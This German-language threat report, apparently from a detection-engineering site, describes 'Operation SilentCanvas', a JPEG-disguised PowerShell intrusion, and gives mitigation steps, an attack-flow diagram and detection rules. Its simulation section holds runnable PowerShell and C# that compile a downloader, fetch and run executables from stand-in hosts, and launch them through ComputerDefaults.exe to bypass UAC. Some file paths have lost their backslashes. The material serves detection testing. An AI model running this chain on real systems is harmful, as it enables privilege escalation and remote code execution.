OPERATION SILENTCANVAS: JPEG-basierte mehrstufige PowerShell-Intrusion
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Operation SilentCanvas ist ein ausgeklügelter mehrstufiger Eindringversuch, der eine bösartige PowerShell-Nutzlast in einer JPEG-Datei namens sysupdate.jpegverbirgt. Diese Nutzlast ruft und kompiliert einen benutzerdefinierten Launcher, der über csc.exeerstellt wurde, missbraucht ComputerDefaults.exe um einen UAC-Bypass ohne Dateien auszuführen, und installiert einen trojanisierten ConnectWise ScreenConnect-Dienst namens OneDriveServers um einen anhaltenden Fernzugriff zu gewährleisten. Die Malware kommuniziert über verschlüsselte Kanäle, die zu legitserver.theworkpc.com über die Ports 5443 and 8041geleitet werden. Die Kampagne zeigt auch ein starkes Augenmerk auf Verteidigungsausweichen, Anmeldeinformationsdiebstahl und verdeckte Überwachung.
Untersuchung
Der Bericht behandelt sowohl die statische als auch die dynamische Analyse des auf JPEG basierenden Ladeprogramms, der dynamisch kompilierten uds.exe Binärdatei und der modifizierten ScreenConnect-Komponenten. Forscher identifizierten mehrere Angriffstechniken, darunter AMSI-Bypass, Nutzung von Standard-Software-Binärdateien, Registrierungshijacking und benutzerdefinierte Schlüsselableitung für verschlüsselte Kommunikation. Die Infrastruktur-Analyse ergab eine fest kodierte Zuordnung zwischen legitserver.theworkpc.com und der IP-Adresse 45.138.16.64. Die Untersuchung deckte auch detaillierte Opferprofilierung, lokale Kontenmanipulation und Funktionalitäten auf, die mit verstecktem Desktop-Zugang verbunden sind.
Minderung
Verteidiger sollten strenge Whitelisting-Regeln für legitime Fernüberwachungs- und Verwaltungstools anwenden und die Ausführung von csc.exe, cvtres.exe, und ComputerDefaults.exeeinschränken oder engmaschig überwachen. Die Überwachung sollte sich auch auf verdächtige ms-settings Registrierungsänderungen, PowerShell AMSI-Bypass-Verhalten, versteckte Prozess-Erstellungsflags und unbefugte Diensterstellung mit dem Namen OneDriveServerskonzentrieren. Alle möglicherweise kompromittierten Konten sollten zurückgesetzt und betroffene Systeme schnell isoliert werden, um weiteren Missbrauch zu verhindern.
Reaktion
Wenn verwandte Indikatoren erkannt werden, sollte der Endpunkt sofort unter Quarantäne gestellt, der bösartige uds.exe Prozess und die damit verbundene PowerShell-Aktivität beendet und der OneDriveServers Dienst vom Host entfernt werden. Ermittler sollten Registrierungsartefakte, Dienst-Binärdateien und Netzwerktelemetrie, die mit der Kommando- und Kontroll-Infrastruktur verbunden sind, für eine tiefere forensische Überprüfung sammeln. Alle privilegierten Anmeldeinformationen sollten geändert werden, und Verteidiger sollten nach Mustern von lateralen Bewegungen suchen, die mit den im Rahmen der Kampagne dokumentierten Techniken verbunden sind.
"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Knoten – Aktionen action_initial_access["<b>Aktion</b> – <b>T1566 Phishing-Anhang</b>: E-Mail liefert bösartige Datei <i>sysupdate.jpeg</i>, die als Bild tarnt."] class action_initial_access action action_user_execution["<b>Aktion</b> – <b>T1204.002 Benutzer-Ausführung</b> und <b>T1059.001 PowerShell</b>: Das Opfer doppelklickt auf das .jpeg, das das eingebettete PowerShell startet."] class action_user_execution action action_execution["<b>Aktion</b> – <b>T1562.001 Deaktivierung von Sicherheitstools</b> (AMSI-Bypass) und <b>T1027 Verschleierung</b>: Das PowerShell-Skript umgeht die Erkennung und verbirgt bösartige Logik."] class action_execution action action_dev_utility_abuse["<b>Aktion</b> – <b>T1127 Kompilieren nach Lieferung</b> und <b>T1027.004 Obskure/Gespeicherte Dateien</b>: Skript bettet C#-Quelltext ein und kompiliert mit <i>csc.exe</i>, um einen benutzerdefinierten Launcher zu erstellen."] class action_dev_utility_abuse action action_priv_esc["<b>Aktion</b> – <b>T1548.002 Ausführungshijacking</b> über <i>ms-settings</i>-Protokoll und <b>T1218.002 Kompilierte HTML-Datei</b> unter Verwendung von <i>ComputerDefaults.exe</i> für einen Dateilosen UAC-Bypass."] class action_priv_esc action action_persistence["<b>Aktion</b> – <b>T1543.003 Windows-Dienst</b> namens <i>OneDriveServers</i> und <b>T1136.001 Lokales Konto</b> Erstellung von versteckten Administratorkonten für langfristigen Zugang."] class action_persistence action action_tool_hijack["<b>Aktion</b> – <b>T1553.002 Signierte Binäre Proxy-Ausführung</b>: Setzt einen trojanisierten ConnectWise ScreenConnect ein, der legitime signierte Komponenten missbraucht."] class action_tool_hijack action action_credential_access["<b>Aktion</b> – <b>T1556.001 Anmeldeinformation-API-Hooking</b> und <b>T1056.001 Eingangsabfangung</b>: Installiert Anmeldeprovider-Hook und Keylogger, um Benutzerdaten abzuernten."] class action_credential_access action action_collection["<b>Aktion</b> – <b>T1113 Bildschirmaufnahme</b>, <b>T1125 Videoaufnahme</b>, <b>T1123 Audioaufnahme</b>, <b>T1115 Zwischenablage-Daten</b>: Sammelt visuelle, Audio- und Zwischenablagedaten."] class action_collection action action_discovery["<b>Aktion</b> – <b>T1518 Software-Erkennung</b>, <b>T1010 Anwendungsfenstererkennung</b>, <b>T1082 Systeminformations-Erkennung</b>: Listet installierte Software, AV-Produkte, Systeminfos und aktive Fenster auf."] class action_discovery action action_c2["<b>Aktion</b> – <b>T1573 Verschlüsselter Kanal</b>: Richtet verschlüsseltes C2 mit PBKDF2/HMACu2011SHA256-Schlüsseln ein und überträgt zusätzliche Tools über <b>T1105 Werkzeugeingangstransfer</b>."] class action_c2 action action_remote_execution["<b>Aktion</b> – <b>T1021 Ferndienste</b>: Führt Befehle auf dem Opfer durch das ScreenConnect-Framework aus."] class action_remote_execution action action_impact["<b>Aktion</b> – <b>T1529 Systemabschaltung/Neustart</b>: Kann einen Systemneustart oder Neustart im abgesicherten Modus auslösen, um die Umgebung zu stören."] class action_impact action %% Knoten – Tools / Prozesse tool_sysupdate_jpeg["<b>Werkzeug</b> – <b>Name</b>: sysupdate.jpeg<br/><b>Typ</b>: Bösartiger Anhang, der als Bild getarnt ist"] class tool_sysupdate_jpeg tool tool_powershell["<b>Werkzeug</b> – <b>Name</b>: PowerShell<br/><b>Typ</b>: Skript-Engine, die für Ausführung und Verschleierung verwendet wird"] class tool_powershell tool tool_csc["<b>Werkzeug</b> – <b>Name</b>: csc.exe<br/><b>Typ</b>: C#-Compiler, genutzt aufu2011Host"] class tool_csc tool process_computerdefaults["<b>Prozess</b> – <b>Name</b>: ComputerDefaults.exe<br/><b>Beschreibung</b>: Wird als Proxy für Dateilosen UAC-Bypass verwendet"] class process_computerdefaults process tool_screenconnect["<b>Werkzeug</b> – <b>Name</b>: ConnectWise ScreenConnect<br/><b>Typ</b>: Fernzugriffssoftware, die mit bösartiger Nutzlast entführt wurde"] class tool_screenconnect tool malware_keylogger["<b>Malware</b> – <b>Name</b>: Benutzerdefinierter Keylogger<br/><b>Zweck</b>: Tastenanschläge und Anmeldeinformationen erfassen"] class malware_keylogger malware %% Verbindungen – Angriffsfluss action_initial_access –>|liefert| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|löst aus| action_user_execution action_user_execution –>|führt aus| tool_powershell tool_powershell –>|führt durch| action_execution action_execution –>|nutzt| tool_csc tool_csc –>|erstellt| action_dev_utility_abuse action_dev_utility_abuse –>|produziert Launcher für| action_priv_esc action_priv_esc –>|ruft auf| process_computerdefaults process_computerdefaults –>|ermöglicht| action_persistence action_persistence –>|erstellt| action_tool_hijack action_tool_hijack –>|installiert| tool_screenconnect tool_screenconnect –>|fördert| action_credential_access action_credential_access –>|installiert| malware_keylogger malware_keylogger –>|ermöglicht| action_collection action_collection –>|füttert Daten zu| action_c2 action_c2 –>|unterstützt| action_remote_execution action_remote_execution –>|verwendet| tool_screenconnect action_remote_execution –>|führt zu| action_impact action_discovery –>|bietet Informationen für| action_c2 %% Stylen class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware "
Angriffsablauf
Erkennungen
Möglicher UAC-Bypass über CMSTPLUA COM-Schnittstelle [SafaPay-Technik] (über Befehlszeile)
Ansehen
Mögliche Aufzählung von Antivirus- oder Firewall-Software (über Prozess-Erstellung)
Ansehen
Alternative Fernzugriffs-/Verwaltungssoftware (über Prozess-Erstellung)
Ansehen
Ein Archiv wurde in ein verdächtiges Verzeichnis unter Verwendung von PowerShell extrahiert (über PowerShell)
Ansehen
IOCs (HashSha256) zur Erkennung: OPERATION SILENTCANVAS : JPEG-BASIERTER MEHRSTUFIGER POWERSHELL-EINDRINGVERSUCH
Ansehen
IOCs (SourceIP) zur Erkennung: OPERATION SILENTCANVAS : JPEG-BASIERTER MEHRSTUFIGER POWERSHELL-EINDRINGVERSUCH
Ansehen
IOCs (DestinationIP) zur Erkennung: OPERATION SILENTCANVAS : JPEG-BASIERTER MEHRSTUFIGER POWERSHELL-EINDRINGVERSUCH
Ansehen
Verschlüsselte Kommunikation mit Angreifer-Infrastruktur über nicht standardmäßige Ports [Windows Netzwerkverbindung]
Ansehen
Eindringungserkennung durch Missbrauch von csc.exe und ComputerDefaults.exe [Windows Prozess-Erstellung]
Ansehen
PowerShell-Ausführung mit AMSI-Bypass [Windows PowerShell]
Ansehen
Ausführungs-Simulation
Voraussetzung: Der Telemetrie- & Basislinien-Vorflug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifer-Technik (TTP), die darauf abzielt, die Erkennungsregel zu aktivieren. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und das genaue Telemetrieverhalten erzeugen, das von der Erkennungslogik erwartet wird. Abstrakte oder nicht zugehörige Beispiele führen zu Fehldiagnosen.
-
Angriffs-Narrativ & Befehle:
- Erste Stützpunktnahme: Der Angreifer erhält eine Sitzung mit niedriger Berechtigung auf dem Endpoint.
- Live-Kompilierung: Unter Verwendung der bereits verfügbaren
csc.exe, kompiliert der Angreifer einen C#-Downloader, der eine zweite Nutzlast von einem C2-Server abruft. Die Kompilierung wird aus dem PowerShell-Prozess gestartet, um die Eltern-Kind-Bedingung zu erfüllen. - Dateiloser UAC-Bypass: Der Angreifer führt das neu erstellte ausführbare Programm über
ComputerDefaults.exeaus, welches stillschweigend eine Erhöhung der Berechtigungen erfragt, ohne ein UAC-Prompt anzuzeigen. - Post-Elevationsausführung: Die erhöhte Nutzlast stellt eine umgekehrte Shell-Verbindung zum Angreifer her.
# Schritt 1 – Vorbereitung des bösartigen C#-Quellcodes (im Speicher) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # Schritt 2 – Kompilieren via csc.exe (Eltern = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # Schritt 3 – UAC-Bypass mit ComputerDefaults.exe auslösen (noch Kind von PowerShell) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Regression-Test-Skript: (eigenständiges PowerShell-Skript, das die oben genannten Schritte reproduziert)
# ----------------------------------------------------------------- # Datei: trigger_csc_uac_bypass.ps1 # Zweck: Simuliert die Angriffskette csc.exe + ComputerDefaults.exe # ----------------------------------------------------------------- # Erstellen des bösartigen C#-Quellcodes im TEMP-Verzeichnis $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # Kompilieren mit csc.exe (dieser PowerShell-Prozess wird zum Eltern) $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # Ausführung via ComputerDefaults.exe, um einen stillen UAC-Bypass auszuführen $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Bereinigungsbefehle:
# Entfernen der erstellten Artefakte Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # Optional alle fortbestehenden Prozesse beenden, die durch den Test gestartet wurden Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force